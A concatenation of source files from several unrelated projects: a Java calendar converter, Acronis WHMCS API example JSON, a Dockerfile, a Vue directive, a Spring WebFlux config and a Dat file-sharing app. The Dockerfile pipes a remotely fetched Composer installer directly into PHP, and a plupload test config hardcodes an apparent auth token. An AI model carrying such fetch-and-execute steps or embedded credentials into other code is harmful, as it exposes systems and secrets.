}
private int gregorianDateToJDN(int year, int month, int day) {
int jdn = (year + (month - 8) / 6 + 100100) * 1461/4 + (153 * ((month+9) % 12) + 2)/5 + day - 34840408;
jdn = jdn - (year + 100100+(month-8)/6)/100*3/4+752;
return (jdn);
}
private void JDNToGregorian() {
int j= 4 * JDN + 139361631;
j = j + (((((4* JDN +183187720)/146097)*3)/4)*4-3908);
int i= ((j % 1461)/4) * 5 + 308;
gDay = (i % 153) / 5 + 1;
gMonth = ((i/153) % 12) + 1;
gYear = j/1461 - 100100 + (8-gMonth)/6;
}
private void JDNToLunar() {
Chronology gregorian = GregorianChronology.getInstanceUTC();
DateTime date = new DateTime(gYear, gMonth, gDay, 10, 0, gregorian);
DateTime lunarDate = date.withChronology(IslamicChronology.getInstance());
luYear = lunarDate.getYear();
luMonth = lunarDate.getMonthOfYear();
luDay = lunarDate.getDayOfMonth();
}
private void LDNToGregorian() {
Chronology hijri = IslamicChronology.getInstanceUTC();
try {
DateTime date = new DateTime(luYear, luMonth, luDay, 10, 0, hijri);
DateTime gregorianDate = date.withChronology(GregorianChronology.getInstance());
gYear = gregorianDate.getYear();
gMonth = gregorianDate.getMonthOfYear();
gDay = gregorianDate.getDayOfMonth();
setGregorianDate(gYear, gMonth, gDay);
}
catch (IllegalFieldValueException e) {
e.printStackTrace();
}
}
private void LDNToIranian() {
irYear = getIranianYear();
irMonth = getIranianMonth();
irDay = getIranianDay();
}
private int irYear;
private int irMonth;
private int irDay;
private int gYear;
private int gMonth;
private int gDay;
private int juYear;
private int juMonth;
private int juDay;
private int leap;
private int JDN;
private int march;
private int luYear;
private int luMonth;
private int luDay;
}
| TheTallWitch/CalendarTool |
<|start_filename|>raml/admin/templates/examples/list_templates_response.json<|end_filename|>
[
{
"id": 1,
"name": "Service template for partners",
"description": "Human-readable description that will be displayed to the users",
"server_id": 1,
"tenant_kind": "partner",
"user_role": "admin"
},
{
"id": 3,
"name": "Service template for customers",
"description": "Human-readable description that will be displayed to the users",
"server_id": 2,
"tenant_kind": "customer",
"user_role": "admin"
},
{
"id": 3,
"name": "Service template for customers (user)",
"description": "Human-readable description that will be displayed to the users",
"server_id": 2,
"tenant_kind": "customer",
"user_role": "user"
}
]
<|start_filename|>raml/admin/templates/examples/update_template_error_400.json<|end_filename|>
{
"code": 400,
"message": "Bad request",
"details": {
"id": "You cannot change ID.",
"name": "Name mast be present.",
"description": "Lengths of the description should be less than 1024 characters.",
"server_id": "You cannot change the server",
"tenant_kind": "You cannot change the tenant kind."
}
}
<|start_filename|>raml/admin/templates/examples/delete_template_error_423.json<|end_filename|>
{
"code": 423,
"message": "Template is locked",
"details": {
"template_id": "Template 1 cannot be deleted due it is used for product 2."
}
}
<|start_filename|>src/modules/addons/acroniscloud/whmcs.json<|end_filename|>
{
"schema": "1.0",
"type": "whmcs-addons",
"name": "acroniscloud",
"license": "proprietary",
"category": "provisioning",
"description": {
"name": "Acronis Cyber Cloud",
"tagline": "Configuration add-on for Acronis Cyber Cloud provisioning module."
},
"logo": {
"filename": "logo.png"
},
"support": {
"homepage": "https://cloud.acronis.com/",
"docs_url": "https://dl.acronis.com/u/pdf/WHMCS_Integration_Manual_en-US.pdf"
},
"authors": [
{
"name": "Acronis",
"homepage": "https://www.acronis.com/"
}
]
}
<|start_filename|>raml/admin/templates/examples/traits/error_400.json<|end_filename|>
{
"code": 400,
"message": "Bad request",
"details": {
"template_id": "Template ID must be integer."
}
}
<|start_filename|>raml/admin/options/examples/create_group_request.json<|end_filename|>
{
"name": "<NAME>",
"description": "Human-readable description that will be displayed to the users",
"server_id": 1,
"edition": "standard"
}
<|start_filename|>raml/admin/servers/examples/traits/error_401.json<|end_filename|>
{
"code": 401,
"message": "Bad Request",
"details": {
"server_id": "Invalid credentials for server 123."
}
}
<|start_filename|>Dockerfile<|end_filename|>
#
# @Copyright © 2003-2019 Acronis International GmbH. This source code is distributed under MIT software license.
#
FROM centos:7
ARG PHP_VERSION=72
VOLUME /mnt/target
WORKDIR /mnt/target
# TOOLS
RUN yum -y install zip epel-release
# PHP
RUN yum -y install http://rpms.remirepo.net/enterprise/remi-release-7.rpm
RUN yum-config-manager --enable remi-php${PHP_VERSION}
RUN yum -y install \
php \
php-pdo \
php-pdo_mysql \
php-gd \
php-imap \
php-intl \
php-mbstring \
php-soap \
php-xml \
php-xmlrpc \
php-pecl-zip \
php-pecl-apc \
php-pecl-apcu
RUN sed -i 's/;date.timezone =/date.timezone = UTC/' /etc/php.ini
# COMPOSER
RUN curl -sS https://getcomposer.org/installer | php && mv composer.phar /usr/local/bin/composer
RUN yum clean all
<|start_filename|>raml/admin/servers/examples/traits/error_400.json<|end_filename|>
{
"code": 400,
"message": "Bad request",
"details": {
"server_id": "Server ID must be integer."
}
}
<|start_filename|>raml/admin/templates/examples/create_template_error_400.json<|end_filename|>
{
"code": 400,
"message": "Bad request",
"details": {
"id": "You cannot specify ID for a new template.",
"name": "Name mast be present.",
"description": "Lengths of the description should be less than 1024 characters.",
"server_id": "Unknown server 123.",
"tenant_kind": "Unsupported tenant kind \"root\"."
}
}
<|start_filename|>raml/admin/servers/examples/get_offering_items_response.json<|end_filename|>
[
{
"name": "storage",
"measurement_unit": "bytes",
"application_type": "backup",
"edition": "standard",
"resource_type": "cloud",
"location_id": "eb4ae804-dfd6-4548-a1f9-23fae84c6cf6",
"infra_id": "f4fc369a-bca3-407b-bd5c-ce5fa783cb1c",
"capability": "backup",
"child_offering_items": [
"child_storages"
],
"tenant_kinds": [
"partner",
"customer"
]
},
{
"name": "local_storage",
"measurement_unit": "bytes",
"application_type": "backup",
"edition": null,
"resource_type": "local",
"location_id": null,
"infra_id": null,
"capability": null,
"child_offering_items": [
],
"tenant_kinds": [
"partner",
"customer"
]
},
{
"name": "workstations",
"measurement_unit": "quantity",
"application_type": "backup",
"edition": "standard",
"resource_type": "data",
"location_id": null,
"infra_id": null,
"capability": null,
"child_offering_items": [
],
"tenant_kinds": [
"partner",
"customer"
]
},
{
"name": "compute_points",
"measurement_unit": "seconds",
"application_type": "backup",
"edition": "standard",
"resource_type": "cloud",
"location_id": "eb4ae804-dfd6-4548-a1f9-23fae84c6cf6",
"infra_id": "3385d1c2-6dcf-43c2-8977-80379ea98548",
"capability": "disaster_recovery",
"child_offering_items": [],
"tenant_kinds": [
"partner",
"customer"
]
},
{
"name": "child_storages",
"measurement_unit": "feature",
"application_type": "backup",
"edition": "standard",
"resource_type": "cloud",
"location_id": null,
"infra_id": null,
"capability": null,
"child_offering_items": [
],
"tenant_kinds": [
"partner"
]
}
]
<|start_filename|>raml/client/examples/get_usages_error_403.json<|end_filename|>
{
"code": 403,
"message": "Unauthorized access to usages",
"details": {
"product_id": "You do not have enough rights to retrieve usages for this product."
}
}
<|start_filename|>src/modules/servers/acroniscloud/whmcs.json<|end_filename|>
{
"schema": "1.0",
"type": "whmcs-servers",
"name": "acroniscloud",
"license": "proprietary",
"category": "provisioning",
"description": {
"name": "Acronis Cyber Cloud",
"tagline": "AI-Powered Integration of Data Protection and Cybersecurity.",
"long": "With one SaaS solution, you and your customers gain access to hybrid cloud backup, endpoint protection, disaster recovery, AI-based malware protection, file sync and share, and blockchain-based file notarization and e-signature services, all managed from a single console. These in-demand, add-on services help you sell more and increase customer retention.",
"features": [
"Acronis Cyber Protect Cloud - This comprehensive solution combines data protection and cybersecurity to provide 360-degree cyber protection in the form of backup and recovery, malware defenses, and endpoint security and management.",
"Acronis Cyber Backup Cloud - The #1 hybrid cloud backup-as-a-service solution for service providers that protects more than 20 platforms, anytime, anywhere, and faster than anyone else.",
"Acronis Cyber Disaster Recovery Cloud - A turn-key, self-service solution that lets you protect your customers’ workloads by recovering their IT systems and applications using the Acronis cloud infrastructure.",
"Acronis Cyber Files Cloud - Designed exclusively for service providers, it delivers safe file sync and share in an easy-to-use, complete and secure cloud-based solution.",
"Acronis Cyber Notary Cloud - A blockchain-based service for file notarization, e-signing and verification for businesses of any size, designed exclusively for service providers."
]
},
"logo": {
"filename": "logo.png"
},
"support": {
"homepage": "https://cloud.acronis.com/",
"docs_url": "https://dl.acronis.com/u/pdf/WHMCS_Integration_Manual_en-US.pdf"
},
"authors": [
{
"name": "Acronis",
"homepage": "https://www.acronis.com/"
}
]
}
<|start_filename|>Makefile<|end_filename|>
#
# @Copyright © 2003-2019 Acronis International GmbH. This source code is distributed under MIT software license.
#
.PHONY: all clean image build test
CURRENT_DIR = $(shell pwd | sed -e "s/^\/mnt//")
IMAGE = whmcs_image
CONTAINER = whmcs_container
CONTAINER_TARGET_PATH = /mnt/target
all: build
image:
docker build -t $(IMAGE) -f Dockerfile .
build-package:
docker run --name $(CONTAINER)-$(BUILD_NUMBER) -i --rm \
-v '$(CURRENT_DIR):$(CONTAINER_TARGET_PATH)' \
$(IMAGE) \
bash $(CONTAINER_TARGET_PATH)/build.sh
build: image build-package
<|start_filename|>raml/admin/templates/examples/traits/error_404.json<|end_filename|>
{
"code": 404,
"message": "Not found",
"details": {
"template_id": "Cannot find a template by ID 123."
}
}
<|start_filename|>raml/admin/options/examples/create_group_error_400.json<|end_filename|>
{
"code": 400,
"message": "Bad Request",
"details": {
"name": "Name is required.",
"description": "Description can be long than 1024 characters.",
"server_id": "Unknown server 123.",
"edition": "Unsupported edition \"super\"."
}
} | acronis/acronis-cyber-cloud-whmcs |
<|start_filename|>node_modules/vue-observe-visibility/dist/vue-observe-visibility.esm.js<|end_filename|>
function throwValueError(value) {
if (value !== null && typeof value !== 'function') {
throw new Error('observe-visibility directive expects a function as the value');
}
}
var ObserveVisibility = {
bind: function bind(el, _ref, vnode) {
var value = _ref.value;
if (typeof IntersectionObserver === 'undefined') {
console.warn('[vue-observe-visibility] IntersectionObserver API is not available in your browser. Please install this polyfill: https://github.com/WICG/IntersectionObserver/tree/gh-pages/polyfill');
} else {
throwValueError(value);
el._vue_visibilityCallback = value;
var observer = el._vue_intersectionObserver = new IntersectionObserver(function (entries) {
var entry = entries[0];
if (el._vue_visibilityCallback) {
el._vue_visibilityCallback.call(null, entry.intersectionRatio > 0, entry);
}
});
// Wait for the element to be in document
vnode.context.$nextTick(function () {
observer.observe(el);
});
}
},
update: function update(el, _ref2) {
var value = _ref2.value;
throwValueError(value);
el._vue_visibilityCallback = value;
},
unbind: function unbind(el) {
if (el._vue_intersectionObserver) {
el._vue_intersectionObserver.disconnect();
delete el._vue_intersectionObserver;
delete el._vue_visibilityCallback;
}
}
};
// Install the components
function install(Vue) {
Vue.directive('observe-visibility', ObserveVisibility);
/* -- Add more components here -- */
}
/* -- Plugin definition & Auto-install -- */
/* You shouldn't have to modify the code below */
// Plugin
var plugin = {
// eslint-disable-next-line no-undef
version: "0.3.1",
install: install
};
// Auto-install
var GlobalVue = null;
if (typeof window !== 'undefined') {
GlobalVue = window.Vue;
} else if (typeof global !== 'undefined') {
GlobalVue = global.Vue;
}
if (GlobalVue) {
GlobalVue.use(plugin);
}
export { install, ObserveVisibility };
export default plugin;
<|start_filename|>node_modules/vue-observe-visibility/src/directives/observe-visibility.js<|end_filename|>
function throwValueError (value) {
if (value !== null && typeof value !== 'function') {
throw new Error('observe-visibility directive expects a function as the value')
}
}
export default {
bind (el, { value }, vnode) {
if (typeof IntersectionObserver === 'undefined') {
console.warn('[vue-observe-visibility] IntersectionObserver API is not available in your browser. Please install this polyfill: https://github.com/WICG/IntersectionObserver/tree/gh-pages/polyfill')
} else {
throwValueError(value)
el._vue_visibilityCallback = value
const observer = el._vue_intersectionObserver = new IntersectionObserver(entries => {
var entry = entries[0]
if (el._vue_visibilityCallback) {
el._vue_visibilityCallback.call(null, entry.intersectionRatio > 0, entry)
}
})
// Wait for the element to be in document
vnode.context.$nextTick(() => {
observer.observe(el)
})
}
},
update (el, { value }) {
throwValueError(value)
el._vue_visibilityCallback = value
},
unbind (el) {
if (el._vue_intersectionObserver) {
el._vue_intersectionObserver.disconnect()
delete el._vue_intersectionObserver
delete el._vue_visibilityCallback
}
},
}
<|start_filename|>node_modules/plupload/build/bunyip.config.js<|end_filename|>
module.exports = {
tester: 'testswarm', // e.g. yeti or testswarm
yeti: {
url: "http://localhost:9000",
loglevel: 'silent'
},
testswarm: {
url: "http://swarm.mxi",
testsurl: 'http://moxie.mxi/moxie/',
username: 'jayarjo',
authToken: 'ac10637a0c72551d84f94ef2b098d65883796885',
pollInterval: 1000,
timeout: 1000 * 60 * 15 // 15 minutes
},
browserstack: {
username: "jayarjo",
password: "<PASSWORD>",
version: 2,
timeout: 1800 // keep them busy as long as possible
},
tunnel: {
url: "mxi.pagekite.me",
secret: "<KEY>",
cmd: "pagekite.py --clean --defaults --backend=http/<port>:<url>:<localhost>:<localport>:<secret>"
}
}; | keynes120/red-packet |
<|start_filename|>springdoc-openapi-webflux-core/src/main/java/org/springdoc/webflux/core/SpringDocWebFluxConfiguration.java<|end_filename|>
/*
*
* *
* * * Copyright 2019-2020 the original author or authors.
* * *
* * * Licensed under the Apache License, Version 2.0 (the "License");
* * * you may not use this file except in compliance with the License.
* * * You may obtain a copy of the License at
* * *
* * * https://www.apache.org/licenses/LICENSE-2.0
* * *
* * * Unless required by applicable law or agreed to in writing, software
* * * distributed under the License is distributed on an "AS IS" BASIS,
* * * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* * * See the License for the specific language governing permissions and
* * * limitations under the License.
* *
*
*/
package org.springdoc.webflux.core;
import java.util.List;
import java.util.Optional;
import org.springdoc.core.AbstractRequestService;
import org.springdoc.core.GenericParameterService;
import org.springdoc.core.GenericResponseService;
import org.springdoc.core.OpenAPIService;
import org.springdoc.core.OperationService;
import org.springdoc.core.PropertyResolverUtils;
import org.springdoc.core.RequestBodyService;
import org.springdoc.core.ReturnTypeParser;
import org.springdoc.core.SpringDocConfigProperties;
import org.springdoc.core.SpringDocProviders;
import org.springdoc.core.customizers.OpenApiCustomiser;
import org.springdoc.core.customizers.OperationCustomizer;
import org.springdoc.core.customizers.ParameterCustomizer;
import org.springdoc.core.providers.ActuatorProvider;
import org.springdoc.webflux.api.OpenApiActuatorResource;
import org.springdoc.webflux.api.OpenApiWebfluxResource;
import org.springdoc.webflux.core.converters.WebFluxSupportConverter;
import org.springframework.beans.factory.ObjectFactory;
import org.springframework.boot.actuate.autoconfigure.endpoint.web.WebEndpointProperties;
import org.springframework.boot.actuate.autoconfigure.web.server.ConditionalOnManagementPort;
import org.springframework.boot.actuate.autoconfigure.web.server.ManagementPortType;
import org.springframework.boot.actuate.autoconfigure.web.server.ManagementServerProperties;
import org.springframework.boot.actuate.endpoint.web.reactive.ControllerEndpointHandlerMapping;
import org.springframework.boot.actuate.endpoint.web.reactive.WebFluxEndpointHandlerMapping;
import org.springframework.boot.autoconfigure.condition.ConditionalOnClass;
import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.boot.autoconfigure.condition.ConditionalOnWebApplication;
import org.springframework.boot.autoconfigure.web.ServerProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Lazy;
import org.springframework.core.LocalVariableTableParameterNameDiscoverer;
import static org.springdoc.core.Constants.SPRINGDOC_ENABLED;
import static org.springdoc.core.Constants.SPRINGDOC_USE_MANAGEMENT_PORT;
/**
* The type Spring doc web flux configuration.
* @author bnasslahsen
*/
@Lazy(false)
@Configuration(proxyBeanMethods = false)
@ConditionalOnWebApplication(type = ConditionalOnWebApplication.Type.REACTIVE)
@ConditionalOnProperty(name = SPRINGDOC_ENABLED, matchIfMissing = true)
public class SpringDocWebFluxConfiguration {
/**
* Open api resource open api resource.
*
* @param openAPIBuilderObjectFactory the open api builder object factory
* @param requestBuilder the request builder
* @param responseBuilder the response builder
* @param operationParser the operation parser
* @param operationCustomizers the operation customizers
* @param openApiCustomisers the open api customisers
* @param springDocConfigProperties the spring doc config properties
* @param springDocProviders the spring doc providers
* @return the open api resource
*/
@Bean
@ConditionalOnMissingBean
@ConditionalOnProperty(name = SPRINGDOC_USE_MANAGEMENT_PORT, havingValue = "false", matchIfMissing = true)
@Lazy(false)
OpenApiWebfluxResource openApiResource(ObjectFactory<OpenAPIService> openAPIBuilderObjectFactory, AbstractRequestService requestBuilder,
GenericResponseService responseBuilder, OperationService operationParser,
Optional<List<OperationCustomizer>> operationCustomizers,
Optional<List<OpenApiCustomiser>> openApiCustomisers,
SpringDocConfigProperties springDocConfigProperties,
SpringDocProviders springDocProviders) {
return new OpenApiWebfluxResource(openAPIBuilderObjectFactory, requestBuilder,
responseBuilder, operationParser, operationCustomizers,
openApiCustomisers, springDocConfigProperties, springDocProviders);
}
/**
* Request builder request builder.
*
* @param parameterBuilder the parameter builder
* @param requestBodyService the request body builder
* @param operationService the operation builder
* @param parameterCustomizers the parameter customizers
* @param localSpringDocParameterNameDiscoverer the local spring doc parameter name discoverer
* @return the request builder
*/
@Bean
@ConditionalOnMissingBean
RequestService requestBuilder(GenericParameterService parameterBuilder, RequestBodyService requestBodyService,
OperationService operationService,
Optional<List<ParameterCustomizer>> parameterCustomizers,
LocalVariableTableParameterNameDiscoverer localSpringDocParameterNameDiscoverer) {
return new RequestService(parameterBuilder, requestBodyService,
operationService, parameterCustomizers, localSpringDocParameterNameDiscoverer);
}
/**
* Response builder generic response builder.
*
* @param operationService the operation builder
* @param returnTypeParsers the return type parsers
* @param springDocConfigProperties the spring doc config properties
* @param propertyResolverUtils the property resolver utils
* @return the generic response builder
*/
@Bean
@ConditionalOnMissingBean
GenericResponseService responseBuilder(OperationService operationService, List<ReturnTypeParser> returnTypeParsers, SpringDocConfigProperties springDocConfigProperties, PropertyResolverUtils propertyResolverUtils) {
return new GenericResponseService(operationService, returnTypeParsers, springDocConfigProperties, propertyResolverUtils);
}
/**
* Web flux support converter web flux support converter.
*
* @return the web flux support converter
*/
@Bean
@ConditionalOnMissingBean
@Lazy(false)
WebFluxSupportConverter webFluxSupportConverter() {
return new WebFluxSupportConverter();
}
/**
* The type Spring doc web flux actuator configuration.
* @author bnasslahsen
*/
@ConditionalOnClass(WebFluxEndpointHandlerMapping.class)
static class SpringDocWebFluxActuatorConfiguration {
/**
* Actuator provider actuator provider.
*
* @param serverProperties the server properties
* @param springDocConfigProperties the spring doc config properties
* @param managementServerProperties the management server properties
* @param webEndpointProperties the web endpoint properties
* @param webFluxEndpointHandlerMapping the web flux endpoint handler mapping
* @param controllerEndpointHandlerMapping the controller endpoint handler mapping
* @return the actuator provider
*/
@Bean
@ConditionalOnMissingBean
@ConditionalOnExpression("${springdoc.show-actuator:false} or ${springdoc.use-management-port:false}")
ActuatorProvider actuatorProvider(ServerProperties serverProperties,
SpringDocConfigProperties springDocConfigProperties,
Optional<ManagementServerProperties> managementServerProperties,
Optional<WebEndpointProperties> webEndpointProperties,
Optional<WebFluxEndpointHandlerMapping> webFluxEndpointHandlerMapping,
Optional<ControllerEndpointHandlerMapping> controllerEndpointHandlerMapping) {
return new ActuatorWebFluxProvider(serverProperties,
springDocConfigProperties,
managementServerProperties,
webEndpointProperties,
webFluxEndpointHandlerMapping,
controllerEndpointHandlerMapping);
}
/**
* Actuator open api resource open api actuator resource.
*
* @param openAPIBuilderObjectFactory the open api builder object factory
* @param requestBuilder the request builder
* @param responseBuilder the response builder
* @param operationParser the operation parser
* @param operationCustomizers the operation customizers
* @param openApiCustomisers the open api customisers
* @param springDocConfigProperties the spring doc config properties
* @param springDocProviders the spring doc providers
* @return the open api actuator resource
*/
@Bean
@ConditionalOnMissingBean(MultipleOpenApiSupportConfiguration.class)
@ConditionalOnProperty(SPRINGDOC_USE_MANAGEMENT_PORT)
@ConditionalOnManagementPort(ManagementPortType.DIFFERENT)
@Lazy(false)
OpenApiActuatorResource actuatorOpenApiResource(ObjectFactory<OpenAPIService> openAPIBuilderObjectFactory, AbstractRequestService requestBuilder,
GenericResponseService responseBuilder, OperationService operationParser,
Optional<List<OperationCustomizer>> operationCustomizers,
Optional<List<OpenApiCustomiser>> openApiCustomisers,
SpringDocConfigProperties springDocConfigProperties,
SpringDocProviders springDocProviders) {
return new OpenApiActuatorResource(openAPIBuilderObjectFactory, requestBuilder,
responseBuilder, operationParser,operationCustomizers,
openApiCustomisers, springDocConfigProperties, springDocProviders);
}
}
}
| oliverlockwood/springdoc-openapi |
<|start_filename|>styles/main.css<|end_filename|>
body {
font-family: 'roboto_mono_regular';
background: #fff;
padding: 0;
margin: 0;
}
body.bigimagemode,
body.bigfilemode {overflow: hidden;}
header {
border: 4px solid #fff;
padding-bottom: 40px;
}
a { color: #000; }
.top {
position: fixed;
top: 0;
background: #fff;
width: 100%;
height: 40px;
z-index: 10;
}
.bottom {
position: fixed;
bottom: 0;
background: #fff;
width: 100%;
height: 40px;
z-index: 10;
}
.bigfilemode #files { display: none; }
.bigimagemode #files,
.bigimagemode header { filter: blur(2px) saturate(50%); }
#bigimage {
display: none;
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-color: rgba(0, 0, 0, 0.8);
z-index: 100;
}
.bigimagemode #bigimage { display: block; }
#bigimage > img {
max-width:700px;
max-height: calc(100vh - 40px);
height: aa;
width:auto;
border-radius: 3px;
margin-top: 50vh;
margin-left: 50%;
transform: translate(-50%, -50%);
}
#file-list {
border: 4px solid #fff;
display: inline-block;
width: 100%;
min-height: 70vh;
}
.drag #file-list { border-color: #ACFCD9; }
.file {
padding: 20px;
width: 160px;
height: 160px;
margin: 0px 40px 40px 0px;
background: #eee;
display: inline-block;
position: relative;
cursor: pointer;
overflow: hidden;
background-position: center;
background-size: cover;
}
.file:hover .file-name {
opacity: 0;
transition: opacity 0.2s;
}
#bigfile {display: none; position: relative;}
.bigfilemode #bigfile {
display: block;
}
#bigfile .file {
width: 300px;
height: 300px;
margin-top: 50px;
margin-left: 50%;
transform: translateX(-50%);
}
#bigfile .file a.download {
display: block;
margin-top: 20px;
}
#bigfile .close-button,
#bigimage .close-button {
position: absolute;
top: 10px;
right: 20px;
cursor: pointer;
color: #666;
text-decoration: none;
font-size: 20px;
}
#bigimage #gallery-left,
#bigimage #gallery-right {
position: absolute;
cursor: pointer;
color: #fff;
text-decoration: none;
font-size: 20px;
top: 50%;
transform: translateY(-50%);
padding: 200px 50px;
}
#bigimage #gallery-left { left: 15px; }
#bigimage #gallery-right { right: 15px; }
#bigimage .close-button {
color: #fff;
}
/* Typography */
.data {
opacity: 0;
transition: opacity 0.2s;
position: relative;
z-index: 2;
}
.file:hover .data { opacity: 1; }
.file-name {
position: absolute;
top: 20px;
display: block;
z-index: 0;
transition: color 1s;
word-break: break-all;
}
.file.dark * {
color: #fff;
}
.file-size {
display: block;
color: #999;
margin-bottom: 20px;
font-size: 13px;
}
.download-link { float: left; }
.delete-link { float: right; }
.wrap {
padding: 40px;
background: #fff;
}
span.light, label.light { color: #bcbcbc; }
span.lighter { color: #eee; }
span.motto { margin-left: 40px; }
span.drop {
display: none;
float: right;
}
.owner span.drop { display: inline; }
span.version { font-size: 13px; }
.update-link {
color: #ACFCD9;
float: right;
margin-right: 16px;
}
<|start_filename|>scripts/events.js<|end_filename|>
document.addEventListener('keydown', function(e) {
if (e.keyCode == 37) {
// left arrow
k.gallery_to_left();
return;
}
if (e.keyCode == 39) {
// right arrow
k.gallery_to_right();
return;
}
if (e.keyCode == 27) {
// escape
if (document.body.classList.value.indexOf('bigfilemode') != -1) {
k.close_bigfile();
} else if (document.body.classList.value.indexOf('bigimagemode') != -1) {
k.close_bigimage();
}
return;
}
});
<|start_filename|>scripts/updater.js<|end_filename|>
function Updater() {
this.check = async function() {
if (k.is_owner) {
var main = new DatArchive('dat://ntain-kodedninja.hashbase.io');
var main_version = await main.readFile('/VERSION',{timeout: 2000}).then(console.log("Version checked!"));
if (k.version != main_version) {
var them = main_version.split('.');
var me = k.version.split('.');
for (var i = 0; i < 3; i++) {
if (parseInt(them[i]) > parseInt(me[i])) {
k.updater.add_link();
break;
}
}
}
}
}
this.add_link = function() {
var header = $('header');
$('<a class="update-link" href="https://github.com/kodedninja/ntain/releases">update available</a>').appendTo(header);
}
return this;
}
<|start_filename|>scripts/ntain.js<|end_filename|>
function Ntain() {
if (typeof DatArchive == 'undefined') {
window.location = window.location + 'files';
return null;
}
this.files = new Files();
this.version = null;
this.updater = new Updater();
this.bigfile_el = document.querySelector('#bigfile');
this.bigfile_file_el = document.createElement('div');
this.bigfile_file_el.classList = 'file';
this.bigfile_filename_el = document.createElement('span');
this.bigfile_download_el = document.createElement('a'); this.bigfile_download_el.innerHTML = 'Download'; this.bigfile_download_el.classList = 'download';
this.bigimage_el = document.getElementById('bigimage');
this.bigimage_image_el = document.createElement('img');
this.mode = '';
this.current_file = null;
this.init = async function() {
this.setup_owner();
await this.files.show_files();
if (window.location.href.indexOf('#') > -1) {
var file = window.location.href.split('#')[1];
var i = k.files.index_of_file(file)
if (i > -1) {
k.bigfile(k.files.files[i]);
}
}
this.bigfile_file_el.appendChild(this.bigfile_filename_el);
this.bigfile_file_el.appendChild(this.bigfile_download_el);
this.bigfile_el.appendChild(this.bigfile_file_el);
this.bigimage_el.appendChild(this.bigimage_image_el);
document.getElementById('gallery-left').addEventListener('click', this.gallery_to_left);
document.getElementById('gallery-right').addEventListener('click', this.gallery_to_right);
await this.files.version();
document.querySelector('.version').innerHTML = this.version;
if (k.is_owner) await this.updater.check();
}
this.setup_owner = async function() {
await this.files.archive.getInfo().then(function (archive) {
k.is_owner = archive.isOwner;
k.files.setup_owner();
});
}
this.bigfile = function(file) {
this.current_file = file;
if (file.name.match(/.(jpg|jpeg|png|gif)$/i)) {
document.body.classList += ' bigimagemode';
var close_button = document.querySelector('#bigimage .close-button');
close_button.addEventListener('click', this.close_bigimage);
this.bigimage_image_el.src = 'files/' + file.name;
this.mode = 'bigimage';
} else {
document.body.classList += " bigfilemode";
var close_button = document.querySelector('#bigfile .close-button');
close_button.addEventListener('click', this.close_bigfile);
//$('<a href="' + window.location.toString() + 'files/' + file + '" download="' + file + '">Download</a>').appendTo(this.bigfile_file_el);
this.bigfile_filename_el.innerHTML = file.name;
this.bigfile_download_el.href = 'files/' + file.name;
this.bigfile_download_el.setAttribute('download' , file.name);
this.mode = 'bigfile';
}
}
this.change_bigimage = function(file) {
this.current_file = file;
this.bigimage_image_el.src = 'files/' + file.name;
}
this.close_bigfile = function(e) {
var close_button = document.querySelector('#bigfile .close-button');
close_button.removeEventListener('click', this);
if (document.body.classList.value.indexOf('owner') != -1) document.body.classList = 'owner';
else document.body.removeAttribute('class');
this.mode = '';
this.current_file = null;
}
this.close_bigimage = function(e) {
var close_button = document.querySelector('#bigimage .close-button');
close_button.removeEventListener('click', this);
if (document.body.classList.value.indexOf('owner') != -1) document.body.classList = 'owner';
else document.body.removeAttribute('class');
this.mode = '';
this.current_file = null;
}
this.gallery_to_left = function(e) {
if (k.mode == 'bigimage') {
if (e) e.preventDefault();
var id = k.files.files.indexOf(k.current_file);
// find the previous image
id--;
while (id >= 0) {
if (k.files.files[id].name.match(/.(jpg|jpeg|png|gif)$/i)) {
k.change_bigimage(k.files.files[id]);
break;
}
id--;
}
}
}
this.gallery_to_right = function(e) {
if (k.mode == 'bigimage') {
if (e) e.preventDefault();
var id = k.files.files.indexOf(k.current_file);
// find the previous image
id++;
while (id < k.files.files.length) {
if (k.files.files[id].name.match(/.(jpg|jpeg|png|gif)$/i)) {
k.change_bigimage(k.files.files[id]);
break;
}
id++;
}
}
}
return this;
}
<|start_filename|>scripts/files.js<|end_filename|>
function Files(root) {
var t = this;
this.archive = new DatArchive(window.location.toString());
this.files = [];
this.show_files = async function() {
var file_list = document.getElementById('file-list');
file_list.innerHTML = '';
this.files = [];
var files = await t.archive.readdir('/files', {recursive: true});
for (var i = 0; i < files.length; i++) {
var file = files[i];
var stats = await t.archive.stat('/files/' + file);
if (stats.isFile()) { // Directories not working, yet
var elem = document.createElement('div');
elem.classList = 'file';
var name = document.createElement('span'); name.classList = 'file-name';
name.innerHTML = file;
elem.appendChild(name);
if (file.match(/.(jpg|jpeg|png|gif)$/i)) {
elem.style.backgroundImage = 'url(files/' + encodeURI(file) + ')';
get_image_lightness('files/' + encodeURI(file), elem, function(el, b) {
if (b < 120) {
el.classList += ' dark';
}
});
}
var size = document.createElement('span'); size.classList = 'file-size data';
size.innerHTML = stats.size + ' bytes';
elem.appendChild(size);
var download = document.createElement('a'); download.classList = 'download-link data';
download.innerHTML = 'Download';
download.href = window.location.toString().replace('#', '') + 'files/' + file;
download.setAttribute('download', file);
elem.appendChild(download);
if (k.is_owner) {
var del = document.createElement('a'); del.classList = 'delete-link data';
del.href = '#';
del.innerHTML = 'Delete';
del.setAttribute('data-target', file);
del.addEventListener('click', function(e) {
e.preventDefault();
k.files.delete_file(this.getAttribute('data-target'));
var file_el = this.closest('.file');
file_el.parentNode.removeChild(file_el);
});
elem.appendChild(del);
}
elem.addEventListener('click', function(e) {
if (e.target.classList[0] == 'file') {
k.bigfile(k.files.files[k.files.index_of_file(e.target.children[0].innerHTML)]);
}
});
file_list.appendChild(elem);
k.files.files.push({name: file, stats: stats});
}
}
}
this.delete_file = async function(filename) {
await k.files.archive.unlink('/files/' + filename);
await k.files.archive.commit();
}
this.version = async function() {
k.version = await k.files.archive.readFile('/VERSION', {timeout: 2000});
}
this.drag = function(bool) {
if (bool) {
document.body.classList = 'owner drag';
} else {
document.body.classList = 'owner';
}
}
this.drag_over = function(e) {
e.preventDefault();
k.files.drag(true);
}
this.drag_leave = function(e) {
e.preventDefault();
k.files.drag(false);
}
this.drop = function(e) {
e.preventDefault();
var files = e.dataTransfer.files, file = null;
var i = 0;
function next() {
file = files[i];
